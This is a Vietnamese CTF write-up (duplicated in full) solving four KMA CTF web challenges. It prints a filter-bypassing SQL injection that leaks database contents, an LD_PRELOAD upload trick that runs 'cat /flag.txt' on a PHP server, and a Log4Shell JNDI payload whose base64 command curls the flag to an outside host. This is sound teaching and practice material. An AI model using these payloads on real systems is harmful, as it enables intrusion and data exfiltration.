Vẫn như thường lệ, khi có CTF nào của trường khác thì mình luôn cố gắng đi xin challenge để về làm và học hỏi những điều mới mẻ. Lần này có giải KMA CTF lần 2 mình lại tiếp tục ngỏ lời với những người bạn để xin đề và giải được 4 challenge dưới đây ❁◕ ‿ ◕❁
Challenge Find me
Ở challenge này thì sài tool dirsearch
thấy được có file .DS_Store
. Truy cập thì có flag
Flag: KMACTF{I wont run away anymore. I wont go back on my word. That is my ninja way! Dattebayo!}
Challenge Inject me
Được cung cấp source code như sau:
from flask import Flask, render_template, render_template_string, request
import sqlite3
import re
app = Flask(__name__)
HOST = "0.0.0.0"
PORT = 80
DATABASE = "database/database.db"
def get_db():
conn = sqlite3.connect(DATABASE)
conn.row_factory = sqlite3.Row
return conn
def init_db():
conn = get_db()
with open('database/schema.sql', 'r') as f:
conn.executescript(f.read())
conn.close()
return
def waf(str):
if (len(str)) > 85 or "union" in str.lower():
return False
black_list = ["'", '"', '*', '\\', '/', '#', ';', '-']
for c in black_list:
if c in str:
str = str.replace(c, "")
return str
@app.route('/')
def home():
return render_template('index.html')
@app.route('/query',methods = ['GET'])
def addrec():
if request.args.get("query") != "":
query = request.args.get("query")
query = waf(query)
if query == False:
return render_template_string("Dont cheat my fen =))")
else:
try:
cur = get_db().execute('SELECT msg FROM ' + query + ' where msg like "MSG-%" and msg not like "%KMACTF{%" limit 1')
result = cur.fetchall()
if len(result) == 0:
return render_template_string("No result")
cur.close()
return render_template("index.html", result = result)
except:
return render_template_string("Something went wrong")
@app.route('/source')
def source():
source = open(__file__, "r")
return render_template("source.html", source = source.read())
if __name__ == '__main__':
init_db()
app.run(HOST, PORT, debug=True)
- Đoạn code trên có sử dụng
render_template_string
nhưng input nhập vào không được đưa vô hàm này => không có lỗi SSTI ở đây.
- Độ dài của đầu vào không được quá 85 và không được sử dụng
union
- Không chứa 1 trong các kí tự nằm trong
black_list = ["'", '"', '*', '\\', '/', '#', ';', '-']
- Có 1 route
/query
nhận tham số là query và sau đó truyền vào query sql SELECT msg FROM ' + query + ' where msg like "MSG-%" and msg not like "%KMACTF{%" limit 1
=> có thể SQL Injection
- Ở đây không cần escape để thoát khỏi câu query nên blacklist ở trên đối với mình hiện tại coi như là vô dụng.
- Để
result
in ra màn hình thì 2 điều kiện này cần phải đúng:
msg like "MSG-%"
-> kết quả trả về phải có MSG-
msg not like "%KMACTF{%"
-> không được chứa format flag
Exploit
- Vì blacklist có chứa
'
và "
nên việc tạo ra chuỗi MSG-
không thể sử dụng theo cách này
- Ở đây mình sử dụng
char
để tạo chuỗi
- Vậy bây giờ mình chỉ cần thay payload leak db để lấy flag vào chỗ
1
Giải thích về payload trên:
- Nối chuỗi
MSG-
với thông tin mình cần leak ra xong AS
vô cột msg
- Khi đó sẽ qua được 2 điều kiện
msg like "MSG-%"
và msg not like "%KMACTF{%"
Payload leak table_name
GET /query?query=<@urlencode>(select char(0x4d,0x53,0x47,0x2d) || sql as msg from sqlite_master)<@/urlencode> HTTP/1.1
Host: 45.32.110.58:20103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Payload leak flag
GET /query?query=<@urlencode>(select char(0x4d,0x53,0x47,0x2d) || substr(flag,7) as msg from flag)<@/urlencode> HTTP/1.1
Host: 45.32.110.58:20103
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
- Request trên mình có sử dụng thêm hàm
substr
để lấy flag vì nếu như không lấy từ kí tự thứ 7 trở đi thì kết quả trả về sẽ chứa format flag KMACTF
(điều kiện thứ 2 của where
)
Flag: KMACTF{Just simple sql injection with some tricks}
Challenge Pwn me
Source code:
<?php
if ( isset($_GET["source"]) ) {
highlight_file(__FILE__);
die();
}
if (isset($_FILES["file"])) {
$files = count(glob( "uploads/*"));
if ($files > 100) {
system("rm uploads/*");
}
$fileExt = strtolower(pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION));
if ( preg_match("/ph/i", $fileExt) )
die("Don't cheat my fen");
$fileName = md5(rand(1, 1000000000)).".".$fileExt;
$target_file = "uploads/" . $fileName;
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
die("Your file: ".getcwd()."/".$target_file);
} else {
die("Something went wrong\n");
}
}
if (isset($_GET["env"])) {
foreach ($_GET["env"] as $key => $value) {
if ( preg_match("/[A-Za-z_]/i", $key) && !preg_match("/bash/i", $key) )
putenv($key."=".$value);
}
}
system("echo pwnme!!");
?>
<form action="/" method="post" enctype="multipart/form-data">
Select evil file to upload:
<input type="file" name="file"> <br />
<input type="submit" value="Upload" name="submit">
</form>
<!-- ?source=1 -->
Phân tích source:
- Chương trình cho phép upload file, nếu trong thư mục
uploads
có nhiều hơn 100 file thì sẽ xóa tất cả các file trong đó
- Các file upload lên không được phép có extension chứa
ph
=> chống upload các file có thể thực thi php
- Tham số
env
có nhận tham số theo array sau đó set giá trị cho các biến môi trường.
Example:
- Nhập
env[a]=b
thì sẽ set biến môi trường a=b
- Key truyền vào phải thuộc từ
A-Za-z_
và không được có bash
=> điều này để người chơi khỏi exploit theo một hướng khác, cụ thể environment variables injection to a RCE
Exploit
- Upload 1 file
.so
để biến LD_PRELOAD
trỏ tới.
- Sử dụng tham số
env
để put biến môi trường LD_PRELOAD
File .so
mình sử dụng bypass_disablefunc_x64.so
Sau khi upload thành công thì thực hiện request dưới đây với file .so
đã upload hiện ra màn hình.
GET /?env[LD_PRELOAD]=/var/www/html/uploads/20de058610b27659d7ad6eb00e5cdf16.so&env[EVIL_CMDLINE]=cat+/flag.txt HTTP/1.1
Host: 45.32.110.58:20102
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Biến môi trường EVIL_CMDLINE
sẽ được chạy trong hàm system
.
Challenge Mineme
Các bạn có thể tải source ở đây nhé SOURCE_CODE
Description của bài mà người bạn đã chụp cho mình.
- Đầu tiên cần tải game Minecarft tại tlauncher
- Server mà chúng ta cần tham gia chơi để lấy flag
149.28.135.96:13337
Setup
Sau khi tải tlaucher
xong để chạy được game thì cần chọn đúng version 1.15
như dưới nhé, vì server được cung cấp là server_1.15
.
Ở đây mình đã tải rồi nên sẽ không có nút Install.
Tiếp tục vào phần Mutiplayer
để add thêm server của mình hoặc của tác giả.
Để chạy server ở localhost thì có thể sử dụng Dockerfile
mà tác giả cung cấp hoặc chạy thẳng file server_1.15.jar
. Ở đây mình chạy thẳng file jar
luôn. (Về việc setup java thì mình sẽ không nói đến, mọi người tự tìm hiểu trên google nhé).
Sau khi chạy file server_1.15.jar
thì sẽ được kết quả như trên. Server sẽ là localhost:25565
Phân tích
Sau khi mình mở file server_1.15.jar
bằng jd-gui
thì khá choáng vì quá nhiều class, do mình chưa từng thử xem server của Minecarft code như nào. Bây giờ mà đi đọc từng class xem thì hơi mệt nên mình quyết định lên google đi đọc một số bài về server của Minecarft.
Vì description có nhắc đến việc backdoor nên mình tải 1 bản server khác trên mạng về, cụ thể là bản 1.15.2
để diff.
Command sử dụng để diff bằng IntelliJ
Sau khi lướt thì không thấy có gì khác biệt mà liên quan đến việc có thể khai thác challenge này, chỉ có 1 điều đáng chú ý là ở file tác giả cung cấp, có thêm Collection
=> có thể liên quan đến việc Deserialize.
Thêm 1 điều nữa là lỗi Log4j khi được public thì có những bài viết cũng nhắc đến Minecarft có ảnh hưởng bởi lỗ hổng này. Vậy ở đây mình thử trigger Log4j xem có thành công không.
Thử chat 1 đoạn payload Log4j thì nhận thấy được có DNS trả về => Chương trình bị lỗi Log4j
Exploit
Đã trigger được Log4j thì tiếp tục mình cần RCE để lấy flag. Mình sử dụng tool JNDIExploit với Basic Queries
thì không thể RCE.
Phía trên lúc mình diff thì thấy có Collection
=> có thể liên quan đến Deserialize. Vậy trong tool này có phần để tạo payload với các gadget.
Đầu tiên, mình thử với payload URLDNS
và CommonsCollectionsK1/Dnslog
thì thấy có DNS tới domain, nhưng khi chạy với CommonsCollectionsK2
để RCE thì không lại hoạt động.
Mình quyết định sửa lại payload của CommonsCollectionsK1
từ ldap://[IP_VPS]:1389/Deserialization/CommonsCollectionsK1/Dnslog/
thành ldap://[IP_VPS]:1389/Deserialization/CommonsCollectionsK1/Command/Base64/Y3VybCAtZCBAL2ZsYWcgaHR0cDovL3N1cWw0bWF0LnJlcXVlc3RyZXBvLmNvbQ==
Command chạy tool:
Mọi người thay IP VPS vào chỗ bị bôi bỏ
Payload send để lấy flag
${jndi:ldap://165.22.109.11:1389/Deserialization/CommonsCollectionsK1/Command/Base64/Y3VybCAtZCBAL2ZsYWcgaHR0cDovL3N1cWw0bWF0LnJlcXVlc3RyZXBvLmNvbQ==}
Trong đó: 3VybCAtZCBAL2ZsYWcgaHR0cDovL3N1cWw0bWF0LnJlcXVlc3RyZXBvLmNvbQ==
là curl -d @/flag http://suql4mat.requestrepo.com
Trong request tới có chứa 1 đường link chứa 1 phần thưởng cho ai giải được bài này đầu tiên.
Ở đây mọi người có thể sử dụng CC5 kéo qua tool này rồi thực hiện tương tự như trên nhé, theo như lời tác giả nói:
Flag: KMACTF{log4shell_go_bruh_bruh!!!}
Lời kết.
Cảm ơn các tác giả của những thử thách trên đã tạo những thử thách hay cho các bạn đam mê CTF có cơ hội luyện tập.
Written by taidh. Shout out to son for helping me writes this writeup
Vẫn như thường lệ, khi có CTF nào của trường khác thì mình luôn cố gắng đi xin challenge để về làm và học hỏi những điều mới mẻ. Lần này có giải KMA CTF lần 2 mình lại tiếp tục ngỏ lời với những người bạn để xin đề và giải được 4 challenge dưới đây ❁◕ ‿ ◕❁
Challenge Find me
Ở challenge này thì sài tool
dirsearch
thấy được có file.DS_Store
. Truy cập thì có flagFlag:
KMACTF{I wont run away anymore. I wont go back on my word. That is my ninja way! Dattebayo!}
Challenge Inject me
Được cung cấp source code như sau:
from flask import Flask, render_template, render_template_string, request import sqlite3 import re app = Flask(__name__) HOST = "0.0.0.0" PORT = 80 DATABASE = "database/database.db" def get_db(): conn = sqlite3.connect(DATABASE) conn.row_factory = sqlite3.Row return conn def init_db(): conn = get_db() with open('database/schema.sql', 'r') as f: conn.executescript(f.read()) conn.close() return def waf(str): if (len(str)) > 85 or "union" in str.lower(): return False black_list = ["'", '"', '*', '\\', '/', '#', ';', '-'] for c in black_list: if c in str: str = str.replace(c, "") return str @app.route('/') def home(): return render_template('index.html') @app.route('/query',methods = ['GET']) def addrec(): if request.args.get("query") != "": query = request.args.get("query") query = waf(query) if query == False: return render_template_string("Dont cheat my fen =))") else: try: cur = get_db().execute('SELECT msg FROM ' + query + ' where msg like "MSG-%" and msg not like "%KMACTF{%" limit 1') result = cur.fetchall() if len(result) == 0: return render_template_string("No result") cur.close() return render_template("index.html", result = result) except: return render_template_string("Something went wrong") @app.route('/source') def source(): source = open(__file__, "r") return render_template("source.html", source = source.read()) if __name__ == '__main__': init_db() app.run(HOST, PORT, debug=True)
render_template_string
nhưng input nhập vào không được đưa vô hàm này => không có lỗi SSTI ở đây.union
black_list = ["'", '"', '*', '\\', '/', '#', ';', '-']
/query
nhận tham số là query và sau đó truyền vào query sqlSELECT msg FROM ' + query + ' where msg like "MSG-%" and msg not like "%KMACTF{%" limit 1
=> có thể SQL Injectionresult
in ra màn hình thì 2 điều kiện này cần phải đúng:msg like "MSG-%"
-> kết quả trả về phải cóMSG-
msg not like "%KMACTF{%"
-> không được chứa format flagExploit
'
và"
nên việc tạo ra chuỗiMSG-
không thể sử dụng theo cách nàychar
để tạo chuỗi1
Giải thích về payload trên:
MSG-
với thông tin mình cần leak ra xongAS
vô cộtmsg
msg like "MSG-%"
vàmsg not like "%KMACTF{%"
Payload leak table_name
Payload leak flag
substr
để lấy flag vì nếu như không lấy từ kí tự thứ 7 trở đi thì kết quả trả về sẽ chứa format flagKMACTF
(điều kiện thứ 2 củawhere
)Flag:
KMACTF{Just simple sql injection with some tricks}
Challenge Pwn me
Source code:
<?php if ( isset($_GET["source"]) ) { highlight_file(__FILE__); die(); } // Process file upload if (isset($_FILES["file"])) { // Clean storage $files = count(glob( "uploads/*")); if ($files > 100) { system("rm uploads/*"); } $fileExt = strtolower(pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION)); if ( preg_match("/ph/i", $fileExt) ) die("Don't cheat my fen"); $fileName = md5(rand(1, 1000000000)).".".$fileExt; $target_file = "uploads/" . $fileName; if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { die("Your file: ".getcwd()."/".$target_file); } else { die("Something went wrong\n"); } } // Add enviroment variable if (isset($_GET["env"])) { foreach ($_GET["env"] as $key => $value) { if ( preg_match("/[A-Za-z_]/i", $key) && !preg_match("/bash/i", $key) ) putenv($key."=".$value); } } system("echo pwnme!!"); ?> <form action="/" method="post" enctype="multipart/form-data"> Select evil file to upload: <input type="file" name="file"> <br /> <input type="submit" value="Upload" name="submit"> </form> <!-- ?source=1 -->
Phân tích source:
uploads
có nhiều hơn 100 file thì sẽ xóa tất cả các file trong đóph
=> chống upload các file có thể thực thiphp
env
có nhận tham số theo array sau đó set giá trị cho các biến môi trường.Example:
env[a]=b
thì sẽ set biến môi trườnga=b
A-Za-z_
và không được cóbash
=> điều này để người chơi khỏi exploit theo một hướng khác, cụ thể environment variables injection to a RCEExploit
.so
để biếnLD_PRELOAD
trỏ tới.env
để put biến môi trườngLD_PRELOAD
File
.so
mình sử dụng bypass_disablefunc_x64.soSau khi upload thành công thì thực hiện request dưới đây với file
.so
đã upload hiện ra màn hình.Biến môi trường
EVIL_CMDLINE
sẽ được chạy trong hàmsystem
.Challenge Mineme
Các bạn có thể tải source ở đây nhé SOURCE_CODE
Description của bài mà người bạn đã chụp cho mình.
149.28.135.96:13337
Setup
Sau khi tải
tlaucher
xong để chạy được game thì cần chọn đúng version1.15
như dưới nhé, vì server được cung cấp làserver_1.15
.Ở đây mình đã tải rồi nên sẽ không có nút Install.
Tiếp tục vào phần
Mutiplayer
để add thêm server của mình hoặc của tác giả.Để chạy server ở localhost thì có thể sử dụng
Dockerfile
mà tác giả cung cấp hoặc chạy thẳng fileserver_1.15.jar
. Ở đây mình chạy thẳng filejar
luôn. (Về việc setup java thì mình sẽ không nói đến, mọi người tự tìm hiểu trên google nhé).Sau khi chạy file
server_1.15.jar
thì sẽ được kết quả như trên. Server sẽ làlocalhost:25565
Phân tích
Sau khi mình mở file
server_1.15.jar
bằngjd-gui
thì khá choáng vì quá nhiều class, do mình chưa từng thử xem server của Minecarft code như nào. Bây giờ mà đi đọc từng class xem thì hơi mệt nên mình quyết định lên google đi đọc một số bài về server của Minecarft.Vì description có nhắc đến việc backdoor nên mình tải 1 bản server khác trên mạng về, cụ thể là bản
1.15.2
để diff.Command sử dụng để diff bằng
IntelliJ
Sau khi lướt thì không thấy có gì khác biệt mà liên quan đến việc có thể khai thác challenge này, chỉ có 1 điều đáng chú ý là ở file tác giả cung cấp, có thêm
Collection
=> có thể liên quan đến việc Deserialize.Thêm 1 điều nữa là lỗi Log4j khi được public thì có những bài viết cũng nhắc đến Minecarft có ảnh hưởng bởi lỗ hổng này. Vậy ở đây mình thử trigger Log4j xem có thành công không.
Thử chat 1 đoạn payload Log4j thì nhận thấy được có DNS trả về => Chương trình bị lỗi Log4j
Exploit
Đã trigger được Log4j thì tiếp tục mình cần RCE để lấy flag. Mình sử dụng tool JNDIExploit với
Basic Queries
thì không thể RCE.Phía trên lúc mình diff thì thấy có
Collection
=> có thể liên quan đến Deserialize. Vậy trong tool này có phần để tạo payload với các gadget.Đầu tiên, mình thử với payload
URLDNS
vàCommonsCollectionsK1/Dnslog
thì thấy có DNS tới domain, nhưng khi chạy vớiCommonsCollectionsK2
để RCE thì không lại hoạt động.Mình quyết định sửa lại payload của
CommonsCollectionsK1
từldap://[IP_VPS]:1389/Deserialization/CommonsCollectionsK1/Dnslog/
thànhldap://[IP_VPS]:1389/Deserialization/CommonsCollectionsK1/Command/Base64/Y3VybCAtZCBAL2ZsYWcgaHR0cDovL3N1cWw0bWF0LnJlcXVlc3RyZXBvLmNvbQ==
Command chạy tool:
Mọi người thay IP VPS vào chỗ bị bôi bỏ
Payload send để lấy flag
Trong đó:
3VybCAtZCBAL2ZsYWcgaHR0cDovL3N1cWw0bWF0LnJlcXVlc3RyZXBvLmNvbQ==
làcurl -d @/flag http://suql4mat.requestrepo.com
Trong request tới có chứa 1 đường link chứa 1 phần thưởng cho ai giải được bài này đầu tiên.
Ở đây mọi người có thể sử dụng CC5 kéo qua tool này rồi thực hiện tương tự như trên nhé, theo như lời tác giả nói:
Flag:
KMACTF{log4shell_go_bruh_bruh!!!}
Lời kết.
Cảm ơn các tác giả của những thử thách trên đã tạo những thử thách hay cho các bạn đam mê CTF có cơ hội luyện tập.
Written by taidh. Shout out to son for helping me writes this writeup